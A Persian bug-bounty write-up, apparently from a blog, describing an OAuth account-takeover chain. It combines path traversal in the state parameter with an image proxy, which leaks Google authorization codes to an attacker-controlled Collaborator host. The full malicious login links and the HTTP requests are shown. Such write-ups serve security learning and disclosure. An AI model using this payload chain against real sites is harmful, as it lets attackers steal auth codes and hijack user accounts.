درود بر دوستان عزیز، من امیدم و این دومین رایتآپ منه که توی مموری لیکز داره منتشر میشه، اولین رایت اپم رو تو این لینک میتونین ببینید. امروز میخوام رایتآپ آسیبپذیری که چند روز پیش داخل یکی از برنامههای پرایوت هکروان پیدا کردم رو براتون بنویسم.
ریکان:
اسکوپ تارگتی که انتخاب کرده بودم به این صورت فیکس بود:
sub.target.app
و اینجا برعکس رایتآپ قبلی خبری از واید ریکان نبود و فقط نرو ریکان میطلبید.
توی مرحله اول نرو ریکانم از سرویس های مختلف مثه archive google, yahoo برا بیرون کشیدن اندپوینت ها و مسیرهای مختلف استفاده میکنم، ولی خب تو این تارگت برا باز شدن وبسایت نیاز بود کوکی خاصی که داخل پالیسی برنامه گفته شده بود ست بشه و عملا اینجا بخش passive نرو ریکانم کنار میرفت و فقط اینجا بخش active میموند و منم برپ سویت رو باز کردم و شروع کردم کار با اپلیکیشن و تست کردن فانکشنالیتی هایمختلفش و فهمیدن اینکه کلا تارگت چجوری کار میکنه.
OAuth Flow
یکی از قسمتهای جذاب برای هانترا معمولا قسمت های لاگین و ریجستر تارگته که منم اولین بخشی که باهاش مواجه شدم همین بود و شروع کردم به فهمیدن فلو اصلی این قسمتهای تارگت.
این تارگت ما یه بخش OAtuh داشت که میتونستی از پروایدرهایی مثله گوگل و مایکروسافت و اسلک استفاده کنی و داخل وبسایت لاگین کنی. بعد از تست کردن فلو ولید OAuth رسیدم به این ۵ تا رکوست:
رکوست اول که منو ریدایرکت میکرد به سایت اصلی کمپانی:
Request:
GET /users/googleFederatedLogin?registerEvent=registered&product=chart&rememberme=1 HTTP/1.1
Host: sub.target.app
Response:
HTTP/1.1 303 See Other
vary: Origin
location: https://target.app/ssoRequest?url=https://accounts.google.com/o/oauth2/auth?client_id=1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com&redirect_uri=https://target.app/ssoResponse&response_type=code&scope=email%20profile&state=https://sub.target.app/users/googleFederatedLoggedIn?state%3Dac5c655e384a555cd8ac&openid.realm=https://target.app&include_granted_scopes=true
رکوست دوم که بعد از ریدایرکت شدن به سایت اصلی کمپانی من رو ریدایرکت میکرد به صفحه لاگین گوگل:
Request:
GET /ssoRequest?url=https://accounts.google.com/o/oauth2/auth?client_id=1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com&redirect_uri=https://target.app/ssoResponse&response_type=code&scope=email%20profile&state=https://sub.target.app/users/googleFederatedLoggedIn?state%3Dac5c655e384a555cd8ac&openid.realm=https://target.app&include_granted_scopes=true HTTP/2
Host: target.app
Response:
HTTP/2 302 Found
Date: Fri, 04 Aug 2023 15:16:09 GMT
Content-Length: 0
Location: https://accounts.google.com/o/oauth2/auth?client_id=1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com&redirect_uri=https://target.app/ssoResponse&response_type=code&scope=email%20profile&state=https://sub.target.app/users/googleFederatedLoggedIn?state%3Dac5c655e384a555cd8ac&openid.realm=https://target.app&include_granted_scopes=true
رکوست سوم که که با کد پروایدر که اینجا گوگله به سایت اصلی کمپانی برمیگشتیم:
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://target.app/ssoResponse?state=https://sub.target.app/users/googleFederatedLoggedIn?state=ac5c655e384a555cd8ac&code=4/0Adeu5BVkm7rYkGFaaFRKLRHN88tF5bsekXZm2GYZro-_nQW-a4f3KHIIkxBkT_E2iXir&scope=email profile https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile openid&authuser=0&prompt=consent
رکوست چهارم که با کد گوگل از سایت اصلی به سابدومین برمیگشتیم:
Request:
GET /ssoResponse?state=https://sub.target.app/users/googleFederatedLoggedIn?state=ac5c655e384a555cd8ac&code=4/0Adeu5BVkm7rYkGFaaFRKLRHN88tF5bsekXZm2GYZro-_nQW-a4f3KHIIkxBkT_E2iXir&scope=email profile https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile openid&authuser=0&prompt=none HTTP/2
Host: target.app
Response:
HTTP/2 302 Found
Date: Sat, 05 Aug 2023 00:36:31 GMT
Content-Length: 0
Location: https://sub.target.app/users/googleFederatedLoggedIn?state=ac5c655e384a555cd8ac&code=4/0Adeu5BVkm7rYkGFaaFRKLRHN88tF5bsekXZm2GYZro-_nQW-a4f3KHIIkxBkT_E2iXir
رکوست پنجم و آخر فلو که مارو Authorize میکرد و میتونستیم کوکی auth بگیریم و وارد اکانتمون شیم:
Request:
GET /users/googleFederatedLoggedIn?state=ac5c655e384a555cd8ac&code=4/0Adeu5BVkm7rYkGFaaFRKLRHN88tF5bsekXZm2GYZro-_nQW-a4f3KHIIkxBkT_E2iXir HTTP/1.1
Host: sub.target.app
Response:
HTTP/1.1 303 See Other
vary: Origin
location: /documents
set-cookie: auth=5a47b8c3589273113d73ba71c7263d12a1244bc18500d34c8a7f513549e1e87e-;
با فهمیدن این فلو شروع کردم به تستهای مختلف با این مایندست که من به عنوان هکر چجوری میتونم این کد رو بدست بیارم. اولین چیزی که به ذهنم رسید تست کردن چکر فانکشنهای پارامترها و قسمت هاییه که من رو ریدایرکت میکرد، مخصوصا توی بخش چهارم فلو که اگه اینجا برنامهنویس اشتباهی انجام داده باشه بتونم Victim رو به سایت خودم ریدایرکت کنم و تو رکوست پنجم کوکی auth بگیرم و وارد اکانت Victim شم و اینجا اکانت تیک اور داشته باشیم.
اینجا تستهای مختلف رو انجام دادم ولی خب URLها بنظر کامل فیکس شده بودن و کاملا سیف بنظر میرسید و حتی اگه اپن ریدایرکت هم پیدا میشد بازم نمیشد کاریش کرد و کلا بیخیالش شدم و رفتم سمت تست کردن فانکشن های دیگه وبسایت.
فلو تغییر عکس پروفایل:
خب بعد از اینکه وارد پنل شدم از بخش پروفایل استارت کار رو زدم و بعد هر تغییر رکوست هارو مانیتور میکردم و که توی بخش آپدیت عکس پروفایل این درخواست نظرمو جلب کرد :
PUT /userAvatars/3549 HTTP/1.1
Host: sub.target.app
{"AvatarUrl":"https://images.sub.targrt.app/images/8057e3d8-04f1-4a43-910f-9c7e1aec5ffa/content"}
خب اینجا اولین چیزی که به ذهن همه میرسه تغییر URL داخل پارامتره برای SSRF که منم همینو تست کردم و دوباره پروفایلم رو لود کردم که دیدم لینک جدید برای یوزرم ست شده و این درخواست به سمت کولبریشن برپ سویت اومد:
GET /test.svg?version=212321 HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
X-B3-TraceId: 21ef7e752d3b6452
X-B3-SpanId: 32c33dc5036ac147
X-B3-Sampled: 1
X-Original-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
X-Original-External-IP: 45.155.64.12
Host: eo6r4niyit02f908b7b2ppiojfp6dw1l.oastify.com
Connection: Keep-Alive
نکتهایی که اینجا متوجهاش شدم این بود که عکس رو خوده مرورگر به صورت مستقیم لود نمیکرد و اینجا لینک عکس پروفایل به یه ریورس پراکسی داده میشه و اون عکس رو لود میکنه و نشون میده. بعد از اینکه رکوستهارو بعد ساخته شدن DOM با دقت بیشتری چک کردم رسیدم به این رکوست :
GET /imageProxy/https://eo6r4niyit02f908b7b2ppiojfp6dw1l.oastify.com/test.svg?version=212321 HTTP/1.1
Host: sub.target.app
Cookie: lt-anonymous-id="0.3fea10a81f3d945f189b9edc91d";
که اینجا لینک عکس پروفایل رو ورودی میگرفت و اگه فرمت عکس بود لود میکرد.
اینجا هم تست های مختلفی مثله
تغییر پروتوکل به gopher با file , استفاده از تریک های ریدایرکت برای تغییر پروتوکل
ورودی svg برای xss یا lfi و …
پورت اسکن
و … رو انجام دادم.
ولی اینجا هم بنظر کامل سیف بنظر می رسید و اینجا دیگه برن اوت شدم و کلا سیستم رو ول کردم و رفتم 🙂
Chain:
بعد از چند ساعت برگشتم پا سیستم و یه نگاه به نوت هام انداختم و این ایده به ذهنم رسید که من اینجا یه مسیر دارم که میتونم باهاش به سرور خودم رکوست GET بفرستم و اینجا پارامتر های داخل URL رو هم استفاده میکنه و اگه دقت کنید تو رکوست پنجم فلو OAuth میبینیم که کد توی پارامتر GET داره ارسال میشه و من اگه بتونم هر طور شده داخل فلو رو به این مسیر ببرم میتونم کد رو دریافت کنم وبه اکانت دسترسی بگیرم.
https://sub.target.app/imageProxy/https://eo6r4niyit02f908b7b2ppiojfp6dw1l.oastify.com/test.svg
خب اینجا با دقت بیشتری فلو رو مورد بررسی قرار دادم، اول از همه پارامتر هایی که صفحه لاگین پروایدرمون که همون گوگل رو به صورت ولید اکسپت میکرد رو یه نگاه انداختم :
GET /v3/signin/identifier?opparams=%253Fopenid.realm%253Dhttps%25253A%25252F%25252Ftarget.app&dsh=S1057930755%3A1691229355926009&client_id=1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com&include_granted_scopes=true&o2v=1&redirect_uri=https://target.app/ssoResponse&response_type=code&scope=email+profile&service=lso&state=https%3A%2F%2Fsub.target.app%2Fusers%2FgoogleFederatedLoggedIn%3Fstate%3Dac5c655e384a555cd8ac&flowName=GeneralOAuthFlow&continue=https%3A%2F%2Faccounts.google.com%2Fsignin%2Foauth%2Fconsent%3Fauthuser%3Dunknown%26part%3DAJi8hAPrsUvWubX4C8EMWGwJ3GwSw73iCd8MO6aLXaa8v9_TjIqtWkdi27owM6wcT3jvVYEvbssZ-U2caCMb2rv63DG4qcjnrb0MiX4QJkV54Mvig5OQ4MhMsRzSMr61s8wOj-o8fJpIkU1pjmwWwc-xf4hWygMr5A0mXpoQk3zmbFG-M47r22ykurmHfAV_q15AcgvcCkr8Yk_VUXP5citc0AUEpFZI_l1cW-hfRNcRf1lFvxKU7d-2gzo8kg46kzku1Dtg2eWPYmT49XYK26oJWyj3DyK8H7zisAw4VqXDyyL81_jIpOqgIBjKokrrIHYom2vnkh3vu4JYuN4nkHVqRTqR16jnLziewI2dS8Zum02kwDPF--T4uAEpRRmoGyDph-FDbeFNZys1miUSRXzcWXJXCVjucvKnHpAbxGkqLYjB0ibpRTYJI8LPclPu7YAJJ3fIzTkT5zzInIDATZ-fnfbQNjpSMA%26as%3DS1057930755%253A1691229355926009%26client_id%3D1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com%23&app_domain=https%3A%2F%2Ftarget.app&rart=ANgoxccWuxRU5NIAHXw7lkCF3Ce3kE3i_DkxFoGfttKL_tEpCQHltxatco7eOD6QbIZ_L0N_tHvBd1vy1RlETsqQzTbde2fcWA HTTP/2
Host: accounts.google.com
ما اینجا ۲ تا پارامتر مهم داریم که به رنگ قرمز تو رکوست بالا می تونید ببینید.
پارمتر اول redirect_uri هستش که هیچ جوره نمیشد تغییرش داد و کاملا فیکس بود.
پارامتر دوم state هستش که هر مقداری رو اکسپت میکرد و همه جوره میشد تغییرش داد، کار این پارامتر این بود که بعد از احراز هویت پروایدر و گرفتن کد مقدارش رو به سایت اصلی کمپانی میداد و سایت اصلی کمپانی لینک داخل state رو چک میکرد و اگه از اون چکر فانکشنش رد میشد مارو با با کد به اونجا ریدارکت میکرد. (رکوست چهارم فلو)
Request:
GET /ssoResponse?state=https://sub.target.app/users/googleFederatedLoggedIn?state=ac5c655e384a555cd8ac&code=4/0Adeu5BVkm7rYkGFaaFRKLRHN88tF5bsekXZm2GYZro-_nQW-a4f3KHIIkxBkT_E2iXir&scope=email profile https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile openid&authuser=0&prompt=none HTTP/2
Host: target.app
Response:
HTTP/2 302 Found
Date: Sat, 05 Aug 2023 00:36:31 GMT
Content-Length: 0
Location: https://sub.target.app/users/googleFederatedLoggedIn?state=ac5c655e384a555cd8ac&code=4/0Adeu5BVkm7rYkGFaaFRKLRHN88tF5bsekXZm2GYZro-_nQW-a4f3KHIIkxBkT_E2iXir
الان من اینجا باید به جای مسیر
https://sub.target.app/users/googleFederatedLoggedIn
این مسیر
https://sub.target.app/imageProxy/https://eo6r4niyit02f908b7b2ppiojfp6dw1l.oastify.com
رو بهش میدادم اگه اکسپت میشد کد رو میتونستم بگیرم.
شروع کردم ور رفتن با چکر فانکشن این قسمت که و نکته ایی که وجود داشت که اینجا هم تقریبا URL فیکس بود و هر تغییری رو با ریسپانس ۴۰۳ میداد و نمیشد کاریش کرد به جز اینکه با اضافه کردن کاراکتر به ادامه مسیر مشکلی نداشت یعنی میتونستیم همچین لینکی رو بهش بدیم و من رو ریدایرکت میکرد:
https://sub.target.app/users/googleFederatedLoggedIn/*
خب اینجا به نظرتون چجوری میتونیم ۲ تا مسیر به عقب برگردم؟
خب من اینجا اومدم یه جورایی از path traversal استفاده کردم و گفتم اگه من این لینکو باز کنم چی میشه؟
https://sub.target.app/users/googleFederatedLoggedIn/../
که دیدم کار میکنه و من رو یه دایرکتوری برد عقب پس من میتونستم از این پیلود
https://sub.target.app/users/googleFederatedLoggedIn/../../../imageProxy/{YOUR COLLABRATION}
استفاده کنم و ویکتیم رو ۳ دایرکتوری ببرم عقب و اونجا ریدایرکتش کنم به مسیری که میخوام و کد رو بگیرم 🙂
بریم سراغ پیلود آخر که اینجا من میتونستم هم از سایت اصلی تارگت استفاده کنم برای ساخت لینک مخرب و هم از خود پروایدر که ۲ تا لینک به این صورت ساخته میشدن:
Link1:
https://target.app/ssoRequest?url=https%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Fauth%3Fclient_id%3D1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com%26redirect_uri%3Dhttps%3A%2F%2Ftarget.app%2FssoResponse%26response_type%3Dcode%26scope%3Demail%2520profile%26state%3Dhttps%3A%2F%2Fsub.target.app%2Fusers%2FgoogleFederatedLoggedIn../../../imageProxy/http://b4ggquxtx9botljlbl43pxjmtdz4n8bx.oastify.com%3Fstate%253Dac5c655e384a555cd8ac%26openid.realm%3Dhttps%3A%2F%2Ftarget.app%26include_granted_scopes%3Dtrue
Link2:
https%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Fauth%3Fclient_id%3D1090589527038-asfdtqm97njormmel5kd32km8mlcmf69.apps.googleusercontent.com%26redirect_uri%3Dhttps%3A%2F%2Ftarget.app%2FssoResponse%26response_type%3Dcode%26scope%3Demail%2520profile%26state%3Dhttps%3A%2F%2Fsub.target.app%2Fusers%2FgoogleFederatedLoggedIn../../../imageProxy/http://b4ggquxtx9botljlbl43pxjmtdz4n8bx.oastify.com%3Fstate%253Dac5c655e384a555cd8ac%26openid.realm%3Dhttps%3A%2F%2Ftarget.app%26include_granted_scopes%3Dtrue
و اگه رو هر کدوم از این لینکا کلیک میشد و لاگین انجام میشد من به عنوان اتکر همچین رکوستی رو دریافت میکردم:
که شامل کد پروایدر بود که میتونستم تو رکوست ۵ فلو باهاش وارد اکانت ویکتیم شم:)
امیدوارم خوشتون اومده باشه اگه دوست داشتن می تونین منو توی تویتر فالو کنید.
خیلیییی قشنگ بود امید. عالی فکر کردی عالی chain کردی خیلی لذت بردم.
خیلیم خوب توضیح دادی که واقعا کار سختیه دمت گرم.
بسیار عالی دمت گرم 🙂